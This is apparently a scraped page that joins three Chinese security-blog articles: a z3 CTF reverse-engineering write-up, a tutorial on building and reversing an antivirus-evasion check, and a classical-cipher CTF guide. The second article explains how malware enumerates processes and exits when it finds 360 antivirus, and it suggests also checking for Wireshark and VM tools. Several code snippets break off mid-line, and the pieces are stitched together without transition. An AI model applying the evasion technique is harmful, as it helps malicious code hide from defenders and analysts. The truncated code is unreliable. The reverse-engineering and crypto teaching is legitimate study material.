如果不想注释那条方程,完全使用全部方程,那么就将变量定义为:BitVec('an', 16) ,那么就能够使用移位运算。 然后就是还原异或加密: a1 = 119 a2 = 24 a3 = 10 a4 = 7 a5 = 104 a6 = 43 a7 = 28 a8 = 91 a9 = 52 a10 = 108 a11 = 88 a12 = 74 a13 = 88#121 a14 = 33 code = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13] code[0] = a3 code[1] = a2 code[2] = a1 code[3] = a4 code[4] = a5 code[5] = a6 code[6] = a7 code[7] = a8 code[9] = a9 code[8] = a10 code[10] = a11 code[11] = a12 code[12] = a13 code[13] = a14 flag = [] flag.append(chr(code[13])) for i in list(range(13))[::-1]:     code[i] = (code[i] ^ code[i + 1])     for i in code:         print(chr(i),end='') #flag:U_G07_th3_k3y! 2020 CISCN z3 用 IDA 分析题目得知,程序将输入值经过运算后与 Dst 的密文对比,也就是知道解,求出未知数。 Dst 定义是 int 型(8 字节),将密文提取出来: de = [0x4F17,0x9CF6,0x8DDB,0x8EA6,0x6929,0x9911,0x40A2,0x2F3E,0x62B6,0x4B82,0x486C,0x4002,0x52D7,0x2DEF,0x28DC,0x640D,0x528F,0x613B,0x4781,0x6B17,0x3237,0x2A93,0x615F,0x50BE,0x598E,0x4656,0x5B31,0x313A,0x3010,0x67FE,0x4D5F,0x58DB,0x3799,0x60A0,0x2750,0x3759,0x8953,0x7122,0x81F9,0x5524,0x8971,0x3A1D] 这里还是用手动申请变量,因为避免修改方程表达式。这道例题可以用 Int 也可以用 BitVec ,这里就用 BitVec from z3 import * de = [0x4F17,0x9CF6,0x8DDB,0x8EA6,0x6929,0x9911,0x40A2,0x2F3E,0x62B6,0x4B82,0x486C,0x4002,0x52D7,0x2DEF,0x28DC,0x640D,0x528F,0x613B,0x4781,0x6B17,0x3237,0x2A93,0x615F,0x50BE,0x598E,0x4656,0x5B31,0x313A,0x3010,0x67FE,0x4D5F,0x58DB,0x3799,0x60A0,0x2750,0x3759,0x8953,0x7122,0x81F9,0x5524,0x8971,0x3A1D] v46=BitVec('v46',8) v47=BitVec('v47',8) v48=BitVec('v48',8) v49=BitVec('v49',8) v50=BitVec('v50',8) v51=BitVec('v51',8) v52=BitVec('v52',8) v53=BitVec('v53',8) v54=BitVec('v54',8) v55=BitVec('v55',8) v56=BitVec('v56',8) v57=BitVec('v57',8) v58=BitVec('v58',8) v59=BitVec('v59',8) v60=BitVec('v60',8) v61=BitVec('v61',8) v62=BitVec('v62',8) v63=BitVec('v63',8) v64=BitVec('v64',8) v65=BitVec('v65',8) v66=BitVec('v66',8) v67=BitVec('v67',8) v68=BitVec('v68',8) v69=BitVec('v69',8) v70=BitVec('v70',8) v71=BitVec('v71',8) v72=BitVec('v72',8) v73=BitVec('v73',8) v74=BitVec('v74',8) v75=BitVec('v75',8) v76=BitVec('v76',8) v77=BitVec('v77',8) v78=BitVec('v78',8) v79=BitVec('v79',8) v80=BitVec('v80',8) v81=BitVec('v81',8) v82=BitVec('v82',8) v83=BitVec('v83',8) v84=BitVec('v84',8) v85=BitVec('v85',8) v86=BitVec('v86',8) v87=BitVec('v87',8) v4=de[0] v5=de[1] v6=de[2] v7=de[3] v8=de[4] v9=de[5] v10=de[6] v11=de[7] v12=de[8] v13=de[9] v14=de[10] v15=de[11] v16=de[12] v17=de[13] v18=de[14] v19=de[15] v20=de[16] v21=de[17] v22=de[18] v23=de[19] v24=de[20] v25=de[21] v26=de[22] v27=de[23] v28=de[24] v29=de[25] v30=de[26] v31=de[27] v32=de[28] v33=de[29] v34=de[30] v35=de[31] v36=de[32] v37=de[33] v38=de[34] v39=de[35] v40=de[36] v41=de[37] v42=de[38] v43=de[39] v44=de[40] v45=de[41] s=Solver() s.add(v4 == 34 * v49 + 12 * v46 + 53 * v47 + 6 * v48 + 58 * v50 + 36 * v51 + v52) s.add(v5 == 27 * v50 + 73 * v49 + 12 * v48 + 83 * v46 + 85 * v47 + 96 * v51 + 52 * v52) s.add(v6 == 24 * v48 + 78 * v46 + 53 * v47 + 36 * v49 + 86 * v50 + 25 * v51 + 46 * v52) s.add(v7 == 78 * v47 + 39 * v46 + 52 * v48 + 9 * v49 + 62 * v50 + 37 * v51 + 84 * v52) s.add(v8 == 48 * v50 + 14 * v48 + 23 * v46 + 6 * v47 + 74 * v49 + 12 * v51 + 83 * v52) s.add(v9 == 15 * v51 + 48 * v50 + 92 * v48 + 85 * v47 + 27 * v46 + 42 * v49 + 72 * v52) s.add(v10 == 26 * v51 + 67 * v49 + 6 * v47 + 4 * v46 + 3 * v48 + 68 * v52) s.add(v11 == 34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59) s.add(v12 == 27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59) s.add(v13 == 24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59) s.add(v14 == 78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59) s.add(v15 == 48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59) s.add(v16 == 15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59) s.add(v17 == 26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59) s.add(v18 == 34 * v63 + 12 * v60 + 53 * v61 + 6 * v62 + 58 * v64 + 36 * v65 + v66) s.add(v19 == 27 * v64 + 73 * v63 + 12 * v62 + 83 * v60 + 85 * v61 + 96 * v65 + 52 * v66) s.add(v20 == 24 * v62 + 78 * v60 + 53 * v61 + 36 * v63 + 86 * v64 + 25 * v65 + 46 * v66) s.add(v21 == 78 * v61 + 39 * v60 + 52 * v62 + 9 * v63 + 62 * v64 + 37 * v65 + 84 * v66) s.add(v22 == 48 * v64 + 14 * v62 + 23 * v60 + 6 * v61 + 74 * v63 + 12 * v65 + 83 * v66) s.add(v23 == 15 * v65 + 48 * v64 + 92 * v62 + 85 * v61 + 27 * v60 + 42 * v63 + 72 * v66) s.add(v24 == 26 * v65 + 67 * v63 + 6 * v61 + 4 * v60 + 3 * v62 + 68 * v66) s.add(v25 == 34 * v70 + 12 * v67 + 53 * v68 + 6 * v69 + 58 * v71 + 36 * v72 + v73) s.add(v26 == 27 * v71 + 73 * v70 + 12 * v69 + 83 * v67 + 85 * v68 + 96 * v72 + 52 * v73) s.add(v27 == 24 * v69 + 78 * v67 + 53 * v68 + 36 * v70 + 86 * v71 + 25 * v72 + 46 * v73) s.add(v28 == 78 * v68 + 39 * v67 + 52 * v69 + 9 * v70 + 62 * v71 + 37 * v72 + 84 * v73) s.add(v29 == 48 * v71 + 14 * v69 + 23 * v67 + 6 * v68 + 74 * v70 + 12 * v72 + 83 * v73) s.add(v30 == 15 * v72 + 48 * v71 + 92 * v69 + 85 * v68 + 27 * v67 + 42 * v70 + 72 * v73) s.add(v31 == 26 * v72 + 67 * v70 + 6 * v68 + 4 * v67 + 3 * v69 + 68 * v73) s.add(v32 == 34 * v77 + 12 * v74 + 53 * v75 + 6 * v76 + 58 * v78 + 36 * v79 + v80) s.add(v33 == 27 * v78 + 73 * v77 + 12 * v76 + 83 * v74 + 85 * v75 + 96 * v79 + 52 * v80) s.add(v34 == 24 * v76 + 78 * v74 + 53 * v75 + 36 * v77 + 86 * v78 + 25 * v79 + 46 * v80) s.add(v35 == 78 * v75 + 39 * v74 + 52 * v76 + 9 * v77 + 62 * v78 + 37 * v79 + 84 * v80) s.add(v36 == 48 * v78 + 14 * v76 + 23 * v74 + 6 * v75 + 74 * v77 + 12 * v79 + 83 * v80) s.add(v37 == 15 * v79 + 48 * v78 + 92 * v76 + 85 * v75 + 27 * v74 + 42 * v77 + 72 * v80) s.add(v38 == 26 * v79 + 67 * v77 + 6 * v75 + 4 * v74 + 3 * v76 + 68 * v80) s.add(v39 == 34 * v84 + 12 * v81 + 53 * v82 + 6 * v83 + 58 * v85 + 36 * v86 + v87) s.add(v40 == 27 * v85 + 73 * v84 + 12 * v83 + 83 * v81 + 85 * v82 + 96 * v86 + 52 * v87) s.add(v41 == 24 * v83 + 78 * v81 + 53 * v82 + 36 * v84 + 86 * v85 + 25 * v86 + 46 * v87) s.add(v42 == 78 * v82 + 39 * v81 + 52 * v83 + 9 * v84 + 62 * v85 + 37 * v86 + 84 * v87) s.add(v43 == 48 * v85 + 14 * v83 + 23 * v81 + 6 * v82 + 74 * v84 + 12 * v86 + 83 * v87) s.add(v44 == 15 * v86 + 48 * v85 + 92 * v83 + 85 * v82 + 27 * v81 + 42 * v84 + 72 * v87) s.add(v45 == 26 * v86 + 67 * v84 + 6 * v82 + 4 * v81 + 3 * v83 + 68 * v87) print(s.check()) flag="" if s.check() == sat:   m = s.model()   print(m) else:   print("no answer") flag = "" for d in m.decls():     print("%s = %s" % (d.name(), m[d])) 极客大挑战 REConvolution 这条题目演示用批量申请堆方法 题目关键函数: 加密过程并不是前两题的方程了,而是循环异或,没有修改方程变量名的问题,所以我们可以用 for 循环申请变量。 数独 z3 还能处理数独问题,下面是官方 demo : #!/usr/bin/env python # -*- coding: utf-8 -*- # @Author  : MrSkYe # @Email   : skye231@foxmail.com from z3 import * # 9x9整数变量矩阵 X = [ [ Int("x_%s_%s" % (i+1, j+1)) for j in range(9) ]       for i in range(9) ] # 每个单元格包含{1,…,9}中的值 cells_c  = [ And(1 <= X[i][j], X[i][j] <= 9)              for i in range(9) for j in range(9) ] # 每行最多包含一个数字一次 rows_c   = [ Distinct(X[i]) for i in range(9) ] # 每列最多包含一个数字 cols_c   = [ Distinct([ X[i][j] for i in range(9) ])              for j in range(9) ] # 每个3x3正方形最多包含一个数字 sq_c     = [ Distinct([ X[3*i0 + i][3*j0 + j]                         for i in range(3) for j in range(3) ])              for i0 in range(3) for j0 in range(3) ] sudoku_c = cells_c + rows_c + cols_c + sq_c # 数独实例,我们用'0'表示空单元格 instance = ((0,0,0,0,9,4,0,3,0),             (0,0,0,5,1,0,0,0,7),             (0,8,9,0,0,0,0,4,0),             (0,0,0,0,0,0,2,0,8),             (0,6,0,2,0,1,0,5,0),             (1,0,2,0,0,0,0,0,0),             (0,7,0,0,0,0,5,2,0),             (9,0,0,0,6,5,0,0,0),             (0,4,0,9,7,0,0,0,0)) instance_c = [ If(instance[i][j] == 0,                   True,                   X[i][j] == instance[i][j])                for i in range(9) for j in range(9) ] s = Solver() s.add(sudoku_c + instance_c) if s.check() == sat:     m = s.model()     r = [ [ m.evaluate(X[i][j]) for j in range(9) ]           for i in range(9) ]     print_matrix(r) else:     print("failed to solve") 参考文章 Z3 学习笔记 https://blog.csdn.net/qq_33438733/article/details/82011892) z3 solver学习 http://3xp10it.cc/auxilary/2017/11/14/z3-solver%E5%AD%A6%E4%B9%A0/) 实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014111410002900001&pk_campaign=heetian-wemedia (本实验将通过具体的实例介绍Ollydbg/IDA Pro/PEiD等工具在逆向分析中的基本使用方法,并通过动态调试和静态分析两种方法来找到程序密码。)
逆向入门分析实战(四)
9/14 文章共计1836个词 是逆向入门分析实战系列的第四篇 https://www.yijinglab.com/html/news/news.html?newsId=NEWS-75b-68e6-4f35-951a-5b0f2d1bc70e&pk_campaign=heetian-wemediahttps://www.yijinglab.com/html/news/news.html?newsId=NEWS-730-1b69-4cc3-a2c1-e1c882870460&pk_campaign=heetian-wemediahttps://www.yijinglab.com/html/news/news.html?newsId=NEWS-676-06f2 来和我一起阅读吧 这次我们对很多木马和APT组织常见的一个手法进行正向开发和逆向分析,这个手法就是当发现当前系统中存在特定的杀毒软件和行为监控软件等安全软件时,退出自身进程不再执行自身的恶意模块。其实这个原理还是很简单的,就是进程遍历,然后与这些安全软件的进程进行对比。 进程遍历的常见方法是首先使用CreateToolhelp32Snapshot函数创建一个进程快照,这个快照是当前系统中所运行的所有进程,和使用Windows任务管理器查看进程的结果类似,区别在于Windows任务管理器是实时的,而创建进程快照是“拍照”那一刻所运行着的所有进程。之后使用Process32First和Process32Next对所有的进程进行遍历,将得到的进程名与安全软件的进程名进行对比,如果相等,则退出自身进程。对于windows10的任务管理器不再显示映像名称,可以使用cmd中的tasklist命令来查看当前运行的所有进程。 那我们怎么知道安全软件的进程名呢?这就要靠自己去收集了,比如360tray.exe和360sd.exe就是360安全卫士和360杀毒的进程名,我们以360杀毒为例,当我们发现当前机器上运行了360杀毒则直接退出。 1 正向开发之进程遍历查找360杀毒 1、CreateToolhelp32Snapshot函数 这个函数的参数有两个,第一个是dwFlags参数,这个参数用来指定快照中包含的系统内容,在这里我们要查看当前系统中所有的进程,所以dwFlags参数要指定为TH32CS_SNAPPROCESS,第二个参数为进程ID,这里我们应该指定为0,为什么会有这个参数呢?因为CreateToolhelp32Snapshot函数不仅仅可以用来查看当前系统中运行的进程,还可以查看某一个指定进程的所有堆(TH32CS_SNAPHEAPLIST)或者模块(TH32CS_SNAPMODULE),这个参数只有当查看某一个指定进程的所有堆或者模块时才有效。我们需要将其指定为0,表示查看当前系统中运行的进程,函数调用成功  2、Process32First函数 这个函数查找系统快照中第一个进程信息,有两个参数,第一个参数hSnapshot是CreateToolhelp32Snapshot返回的进程句柄,第二个参数LPPROCESSENTRY32是一个结构体指针,而这个结构体首先是需要我们来初始化,之后当Process32First调用成功后,就会将函数的返回值存储到这个结构体中,这一点和Python不太一样,需要注意。  3、Process32Next函数 这个函数查找系统快照中下一个进程信息,和Process32First参数一样,两者结合即可遍历系统快照中的进程。  4、编写代码 首先需要把必须的一些头文件包含进来,之后创建了一个listProcess函数来遍历进程,在listProcess函数里首先初始化LPPROCESSENTRY32结构体,其中需要注意的是在调用Process32First之前,我们需要先将结构体中的dwSize初始化,这个值表示结构体大小,可以通过sizeof(LPPROCESSENTRY32)获取。之后依次调用CreateToolhelp32Snapshot、Process32First、Process32Next,然后使用StrStr函数进行对比,系统快照中的进程名保存在LPPROCESSENTRY32结构体中的szExeFile这个成员变量 如果在一台装有360杀毒的主机上运行,当检测到有360se.exe之后便停止运行: 2 逆向分析之进程遍历查找360杀毒 ida停留在这个界面,我们双击查看listProcess函数的内容: 首先查看其调用了CrateToolhelp32Snapshot函数: 其中可以看到PROCESSENTRY32结构体在此系统版本和编译环境下的大小为128h,dwFlags的值为2,这是因为TH32CS_SNAPPROCESS是一个宏定义,它对应的常量为2: 得到CrateToolhelp32Snapshot返回值后为什么要将其与0FFFFFFFFh进行对比?查看其二进制: 32个1,我们通过查看宏的方式,看到这个值是-1。 为什么是32个1呢?我第一时间想到原来学习计算机组成原理的时候有一节课在讲补码,好像涉及到这个。经过查阅资料,发现确实是-1。负数是通过对其绝对值相同的正数先按位取反再加1得到的,即-1是通过对1按位取反之后再加1得到的,这样能保证两者相加结果为0(两者相加会溢出,正好为0)。把当年没认真学的知识弄清楚的感觉真棒! 之后,调用了Process32First函数,参数分别为一个指针和一个快照: 之后,获取其进程名然后使用StrStr查找是否包含360sd.exe: 重点查看这里: 其中,先将eax的值(即为PROCESSENTRY32结构体中的szExeFile成员变量,具体可查看PROCESSENTRY32结构体)存入esp+4,再将the process is %s\n字符串存入esp中,这其实相当于是先push eax,再push字符串,然后调用printf进行输出。 之后再调用StrStr将进程名与360sd.exe进行对比。如果匹配上,则直接进入最左侧: 如果匹配不上,则进入右侧,调用Process32Next,再循环执行。当Process32Next返回值为FALSE即为零时,则会跳转到中间,此时所有的进程已经遍历完。至此,整个程序逆向分析完毕。 3总结 此次正向开发和逆向分析,主要是对windows中的进程遍历相关的API进行了熟悉和掌握,同时,将遍历到的每一个进程名与常见的安全软件进行匹配,之后再采取相应的措施。基于此,可以拓展开发更多的功能,比如匹配一些行为监控软件、Wireshark、虚拟机vmtools软件等等。 相关实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016031811584100001&pk_campaign=heetian-wemedia ▲ https://www.yijinglab.com/pages/activity/webSafetyOpenClass.html?pk_campaign=heetian-wemedia&pk_medium=wemedia
ctf古典密码从0到1
亲爱的,关注我吧 9/7 本文共计6357个词 阅读预计花费8分钟 1.古典密码和现代密码的区别: 2.代换密码 a)单表代换密码 i.字符或数学型 1.凯撒密码 2.仿射密码 3.四方密码 4.培根密码 ii.图表 1.标准银河字母 2.圣堂武士密码 3.猪圈密码 4.当铺密码 5.跳舞的小人密码 b)多表代换密码 i.希尔密码 ii.维吉尼亚密码 iii.棋盘密码(Polybius) iv.普莱费尔密码(playfair) v.Nihilist密码 vi.Keyboard密码 3.移位密码 a)栅栏密码 b)云影密码 c)简单位移密码 d)曲路密码 4.CTF crypto线下工具推荐 古典密码和现代密码的区别: 古典密码是密码学中的其中一个类型,其大部分加密方式都是利用替换式密码或移项式密码,有时则是两者的混合。其于历史中经常使用,但现代已经很少使用,大部分的已经不再使用了。一般而言,经典密码是基于一个拼音字母(像是 A-Z)、动手操作或是简单的设备。它们可能是一种简单的密码法,以致于不可信赖的地步,特别是有新技术被发展出来后。 现代的方法是用电脑或是其它数字科技,基于比特和字节上操作。许多经典密码被受尊重的人使用,像是尤利乌斯·凯撒和拿破仑,他们创造了一些常被人们使用的密码。许多密码起源于军事上,相同立场的人常使用来寄送秘密消息。经典的方法常攻击密码文,有时候甚至不知其密码系统,也可以使用工具,像是频率分析法。有些经典密码是使用先进的机器或是机电密码机器,像是恩尼格玛密码机。                          ---维基 其中,古典密码学,作为一种实用性艺术存在,其编码和破译通常依赖于设计者和敌手的创造力与技巧,并没有对密码学原件进行清晰的定义。古典密码学主要包含以下几个方面: 单表替换加密(Monoalphabetic Cipher) 多表替换加密(Polyalphabetic Cipher) 奇奇怪怪的加密方式                                                                                            --ctf wiki 凯撒密码:        凯撒曾经使用这种密码与其将军们来联系,所以用凯撒来命名这种密码。 根据图片来了解加密原理。凯撒密码一般适用于26个英文字母。根据偏移量来进行加密。如图所示,当偏移量=3。即是A-D,B-E。 把字母转成数学,数学公式如下。 在线加解密网站: https://www.qqxiuzi.cn/bianma/kaisamima.phphttp://www.metools.info/code/c70.htmlhttp://www.atoolbox.net/Tool.php?Id=778仿射密码: 数学加密公式: 仿射密码中解密需要用到求逆元 直接给出python解密脚本: import primefac def affine_decode(c,a,b,origin="abcdefghijklmnopqrstuvwxyz"):     r=""     n=len(origin)     ai=primefac.modinv(a,n)%n     for i in c:         if origin.find(i)!=1:             r+=origin[(ai*(origin.index(i)-b))%n]         else:             r+=i     return r print affine_decode("ihhw 仿射密码在线加解密网站: http://www.atoolbox.net/Tool.php?Id=911仿射密码真题-one: Buuctf- Crypto-[GKCTF2020]小学生的密码学 e(x)=11x+6(mod26) 密文:welcylk (flag为base64形式) 四方密码: 四方密码是一种对称式加密法,由法国人Felix Delastelle(1840年–1902年)发明。 这种方法将字母两个一组,然后采用多字母替换密码。 四方密码用4个5×5的矩阵来加密。每个矩阵都有25个字母(通常会取消Q或将I,J视作同一样,或改进为6×6的矩阵,加入10个数字)。 选两个密钥,example和keyword。去掉重复的字母。就是example变成exampl。余下的字母顺序存入矩阵即可 加密矩阵放右上和左下。 加密步骤。把字符串按两个字母一组分开 Helloworld He ll ow or ld 找第一组第一个字母在左上角矩阵的位置: 找第一组第二个字母在右下角矩阵的位置: 先找和一个字母同横的,和第二个字母同直的 第一个字母同直,第二个字母同横的 得到he加密后为FY 如此可得接下来,最后就是 he lp me ob iw an ke no bi FY GM KY HO BX MF KK KI MD 四方密码真题-one: Buuctf-crypo-四面八方 四方密码: wiki上了解四方密码如何加解密的一个过程 https://zh.wikipedia.org/wiki/%E5%9B%9B%E6%96%B9%E5%AF%86%E7%A2%BC密钥存阵 通常在题目中会给定2个密钥,我们要去掉Q或者把I和J当成一个。按照26个英文字母。秘钥中出现的不填。补充成5*5的矩阵 这题直接填充即可 securityabdfghjklmnopvwxz securityadbfghjklmnopvwxz abcdefghijklmnopqrstuvwxyz informatn informatbcdeghjklpsuvwxyz abcdefghijklmnopqrstuvwxyz 在线解密工具: http://ctf.ssleye.com/four.html根据题目说的解出来的语句是个通顺的句子,那肯定排序就有点问题 接下来可以拿出词频分析。 这边分割可以多试试。可以看出来个success,其他位置试 https://quipqiup.com/四方密码在线加解密网站: http://ctf.ssleye.com/four.html培根密码: 培根密码直接根据表中的字母进行转换。 密文一般只含有a和b字母 培根密码在线解密: https://tool.bugku.com/peigen/培根密码真题-one: 攻防世界crypto新手-不仅仅是morse 把/转换成空格。直接拿出morse解密 在看后面一段像培根密码,根据题目提示是食物加密。 标准银河字母: 标准银河字母(Standard Galactic Alphabet)出自游戏《指挥官基恩》系列。是系列中使用的书写系统。这是一个简单的替代暗号,用不同的符号取代拉丁字母。SGA可以在不同的语言中使用,比如在游戏《Minecraft》,《指挥官基恩》中。 如果遇到这类题。直接根据题目来进行图翻->字母 圣堂武士密码: 圣堂武士密码(Templar Cipher)是共济会的“猪圈密码”的一个变种,一直被共济会圣殿骑士用。 直接根据图片上的直接翻译出字母即可 猪圈密码: 猪圈密码(亦称朱高密码、共济会暗号、共济会密码或共济会员密码),是一种以格子为基础的简单替代式密码。即使使用符号,也不会影响密码分析,亦可用在其它替代式的方法。 直接图片替换字母即可 猪圈密码在线解密网站: http://www.metools.info/code/c90.html猪圈密码真题: Buuctf-crypto-萌萌哒的八戒 直接解密 猪圈密码-圣堂武士密码-标准银河字母-栅栏密码真题: Buuctf-Crypto- [MRCTF2020]古典密码知多少 图上的蓝色就是猪圈密码,橙色的是圣堂武士密码,黑色的是银河字母。 当铺密码: 当铺密码就是一种将中文和数字进行转化的密码,算法相当简单:当前汉字有多少笔画出头,就是转化成数字几。例如: 口 0       田 0       由 1       中 2       人 3       工 4 大 5       王 6       夫 7       井 8       羊 9 具体映射可查看: https://www.cnblogs.com/cc11001100/p/9357263.html当铺密码真题: Buuctf-crypto-GKCTF2020汉字的秘密 直接解码发现不对。 翻看ascii码。改进一下脚本: 自己猜一下flag开头为flag。可以看到ascii嘛每一位都是递增的。 差为1,2,3,4 跳舞的小人密码: 跳舞的人,讲的是一个黑帮发明的一种密码,其密码就是用一个一个的跳舞的小人组成的,一个小人是一个字母。有人用这种密码进行通信,来威胁某人,福尔摩斯后来破解了这个密码,抓住了坏人。 这题直接根据表来进行转换即可。加解密同 这题感觉是做过的。但没翻到例题。就不放了。 希尔密码(hill): 希尔密码(Hill Cipher)是运用基本矩阵论原理的替换密码,由Lester S. Hill在1929年发明。每个字母当作26进制数字:A=0, B=1, C=2... 一串字母当成n维向量,跟一个n×n的矩阵相乘,再将得出的结果MOD26。 直接给出网上的脚本可以参考: import numpy as np m = 'YOURPINNOISFOURONETWOSIX'  #明文 a = np.matrix([[11,2,19],[5,23,25],[20,7,17]])  #密钥LCTFXZUHR num_m = [] temp = [] count = 1 for i in m:  #将明文分为三个一组     temp.append(ord(i)-ord('A'))     if count % 3 == 0:         num_m.append(temp)         temp = []     count += 1 mat_m = [np.m 希尔密码在线加解密: http://www.atoolbox.net/Tool.php?Id=914维吉尼亚密码: 维吉尼亚密码(又译维热纳尔密码)是使用一系列凯撒密码组成密码字母表的加密算法,属于多表密码的一种简单形式。 维吉尼亚加解密表格: 当明文为 ATTACKATDAWN 选择某一关键词并重复而得到密钥,如关键词为LEMON时,密钥为: LEMONLEMONLE 对于明文的第一个字母A,对应密钥的第一个字母L,于是使用表格中L行字母表进行加密,得到密文第一个字母L。类似地,明文第二个字母为T,在表格中使用对应的E行进行加密,得到密文第二个字母X。以此类推,可以得到: 明文:ATTACKATDAWN 密钥:LEMONLEMONLE 密文:LXFOPVEFRNHR 维吉尼亚密码在线加解密: https://www.qqxiuzi.cn/bianma/weijiniyamima.php维吉尼亚密码真题-one: BUUCTF-Crypto-[BJDCTF 2nd]燕言燕语-y1ng 小燕子,穿花衣,年年春天来这里,我问燕子你为啥来,燕子说: 79616E7A69205A4A517B78696C7A765F6971737375686F635F73757A6A677D20 16进制转字符串 维吉尼亚在线直接解 棋盘密码(Polybius): 波利比奥斯棋盘(Polybius Checkerboard)是棋盘密码的一种,是利用波利比奥斯方阵(Polybius Square)进行加密的密码方式,产生于公元前两世纪的希腊,相传是世界上最早的一种密码。简单的来说就是把字母排列好,用坐标的形式表现出来。字母是密文,明文便是字母的坐标。 借鉴知乎上的图 先看纵向,在看横向。得到密文 明文HELLO 密文:23 15 31 31 34 普莱费尔密码(playfair): 选取一个英文字作密钥。除去重复出现的字母。将密钥的字母逐个逐个加入5×5的矩阵内,剩下的空间将未加入的英文字母依a-z的顺序加入。(将Q去除,或将I和J视作同一字。) 将要加密的讯息分成两个一组。若组内的字母相同,将X(或Q)插入两字母之间,重新分组(例如 HELLO 将分成 HE LX LO)。若剩下一个字,也加入X字。 在每组中,找出两个字母在矩阵中的地方。 若两个字母不在同一直行或同一横列,在矩阵中找出另外两个字母,使这四个字母成为一个长方形的四个角。 若两个字母在同一横列,取这两个字母右方的字母(若字母在最右方则取最左方的字母)。 若两个字母在同一直行,取这两个字母下方的字母(若字母在最下方则取最上方的字母)。 取playfair example为密钥。即可得到表 P L A Y F I R E X M B C D G H K N O Q S T U V W Z 需要加密的为Hide the gold HI DE TH EG OL 加密后为 BM OD ZB XD 在线普莱费尔加解密: http://www.atoolbox.net/Tool.php?Id=912http://rumkin.com/tools/cipher/playfair.php普莱费尔真题-one: Buuctf-crypto-cipher 还能提示什么呢?公平的玩吧(密钥自己找) Dncnoqqfliqrpgeklwmppu 注意:得到的 flag 请包上 flag{} 提交, flag{小写字母} http://rumkin.com/tools/cipher/playfair.phpNihilist密码: Nihilist跟polybius密码差不多 相同的先看纵向,在看横向。 例如a=[2,3]=23 Keyboard密码: Keyboard密码在ctf中应该是分多种类型的。这里提两种。即9键表和26键包含 9键表就是通过九键上多次字母来进行字母提取 26键包含通过明文多个字符对应一个密文 9键表真题: 直接放两道题来理解 Buuctf- Crypto-[NCTF2019]Keyboard 分析第一个字符串,ooo,o在键盘上对应的是9,有3个o,表示第9个格子的第三个字母,就是y。那yyy就是指字母o cipher="ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee" base=" qwertyuiop" a=[" "," ","abc","def","ghi","jkl","mno","pqrs","tuv","wxyz"] #print(base.index("q")) for part in cipher.split(" "):   s=base.index(part[0])   cou 第一步: 构造3个需要的值,变量和列表 cipher就是题目附件的字符串 base就是键盘上一行对应的数字,第一个为空。因为索引的时候,第一个为0。使得q正好为1 a列表第一个的空格字符串同理。也是0。如下走下来空格对应九格键盘上的1,abc就对应九格键盘上的数字2,def对应3。 第二步: index就是索引的值,就是取键盘上的数字 a[][]。列表的两次,就直接取对应的字母了。end是为了不换行。 count的减1,还是因为第一个是0 Buuctf- Crypo-[MRCTF2020]keyboard 得到的flag用 MRCTF{xxxxxx}形式上叫 都为小写字母 6 666 22 444 555 33 7 44 666 66 3 str="6 666 22 444 555 33 7 44 666 66 3" a=[" "," ","abc","def","ghi","jkl","mno","pqrs","tuv","wxyz"] for i in str.split(" "):   s=int(i[0])   count=len(i)   print(a[s][count-1],end="") 这边解出来最后一个字母是d。但提交不上。搜一下这个单词就知道最后一个应该打错了。是e 26键包含真题: 密码学-keyword 根据题目hint:应该。是键盘包围,或者画图 BHUK,LP TGBNHGYT BHUK,LP UYGBN TGBNHGYT BHUK,LP BHUK,LP TGBNHGYT BHUK,LP TGBNHGYT UYGBN 空格划组 逗号也算一个里面 直接画出来 NBNCBNNBNBC 栅栏密码: 栅栏密码是典型的置换密码。把明文分成n个1组。在进行连接。根据如何连接,又分为普通栅栏密码(|||栅栏密码)和W型栅栏密码。 普通栅栏密码(|||栅栏密码) 值和n: fslda1g2{3a} n=2 按2个分组 fs  ld  a1  g2  {3  a} 取第一个 flag{a 在取全部 flag{asd123} 普通栅栏密码(|||栅栏密码)真题-one: Buuctf-Crypto-篱笆墙的影子 直接两栏获得flag w型栅栏密码 写成W型的栅栏密码。但读取还是按行从左往右读取。 值和n: flag{asd123} n=2 照样是2个分组 f.a.{.s.1.3 .l.g.a.d.2.} 直接从左往右读取 fa{s13lgad2} W型栅栏密码真题-one: 攻防世界Crypto新手-Railfence 根据题目名和题目描述可知是栅栏密码。 但不是普通的|||型栅栏密码 是变种的W型栅栏密码 在线解密: http://www.atoolbox.net/Tool.php?Id=777手解: 把值按照W型进行横排排列,把明文的第一个填充到密文的第一行第1个位置,把明文的第二个填充到密文的第一行第9个位置。在把明文的第三个填充到密文的第17个位置。在把明文的第四个填充到密文的第25个位置。在把明文的第五个填充到密文的第33个位置。 当len=35,key=5时(这个就自己画一画吧)然后你就会发现:首行和尾行的间隔依旧不变,假设行数为i,当当前数为第2行的奇数的时候,下一个数字为2+6=8也就是(key-i)*2,若当前数为第二行偶数的时候,下一个数字为8+2=10也就是(i-1)*2。 普通栅栏密码加解密: https://www.qqxiuzi.cn/bianma/zhalanmima.phpW型栅栏密码在线加解密: http://www.atoolbox.net/Tool.php?Id=777云影密码: 有1,2,4,8这四个数字,可以通过加法来用这四个数字表示0-9中的任何一个数字,列如0=28, 也就是0=2+8,同理7=124, 9=18。这样之后再用1-26来表示26个英文字母,就有了密文与明文之间的对应关系。引入0来作为间隔,以免出现混乱。所以云影密码又叫“01248密码”。 也给出一个python脚本地址: https://www.jianshu.com/p/b5aa5cf60f83 #!/usr/bin/python # -*- coding=utf8 -*- """ # @Author : pig # @CreatedTime:2019-11-2423:54:02 # @Description : """ def de_code(c):     dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]     flag = []     c2 = [i for i in c.split("0")]     for i in c2:       简单位移密码: 